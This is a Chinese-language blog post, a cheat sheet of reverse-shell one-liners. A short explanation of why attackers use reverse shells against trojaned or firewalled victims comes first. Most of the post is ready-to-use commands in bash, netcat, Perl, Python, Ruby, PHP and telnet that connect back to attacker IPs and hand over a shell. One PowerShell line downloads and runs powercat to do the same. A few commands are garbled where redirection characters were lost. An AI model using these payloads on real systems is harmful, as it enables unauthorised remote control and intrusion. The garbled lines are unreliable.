反弹shell集锦

1.   关于反弹shell

就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

2.   反弹shell的原因

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

      1)某客户机中了你的网马,但是它在局域网内,你直接连接不了。

      2)它的ip会动态改变,你不能持续控制。

      3)由于防火墙等限制,对方机器只能发送请求,不能接收请求。

      4)对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

3.反弹shell集锦

@bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
@/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
@/bin/sh | nc 10.104.11.107 9007

@perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9006");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
@perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
@perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9009");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

@python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
@python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.104.11.107',9013))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

@ruby -rsocket -e'f=TCPSocket.open("10.104.11.107",9009).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
@ruby -rsocket -e 'c=TCPSocket.new("10.104.11.107","9010");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
@ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.104.11.107","9011");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
 	
@mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

@php -r '$sock=fsockopen("10.104.11.107",9012);exec("/bin/sh -i <&3 >&3 2>&3");'

@rm -f /tmp/p; mknod /tmp/p p && nc 10.104.11.107 9008 0/tmp/	
@rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

#本地监听两个端口,通过管道,一处输入,一处输出	
@nc 10.104.11.107 1234|/bin/sh|nc 10.104.11.107 9999
@shell.py
@shell.pl
@shell2.pl

1.perl -MIO -e '$p=fork;exit,if($p); $c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9002");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
2.rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.104.11.107 9003 >/tmp/f
3.mknod backpipe p && telnet 10.104.11.107 9005 0backpipe
4.perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9006");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
5./bin/sh | nc 10.104.11.107 9007
6.rm -f /tmp/p; mknod /tmp/p p && nc 10.104.11.107 9008 0/tmp/
7.ruby -rsocket -e 'c=TCPSocket.new("10.104.11.107","9010");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
8.ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.104.11.107","9011");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
9.python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.104.11.107',9013))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 1.1.1.1 -p 443 -e cmd

 

  

 

posted @ 2019-03-11 10:21  _H0f  阅读(373)  评论(0编辑  收藏  举报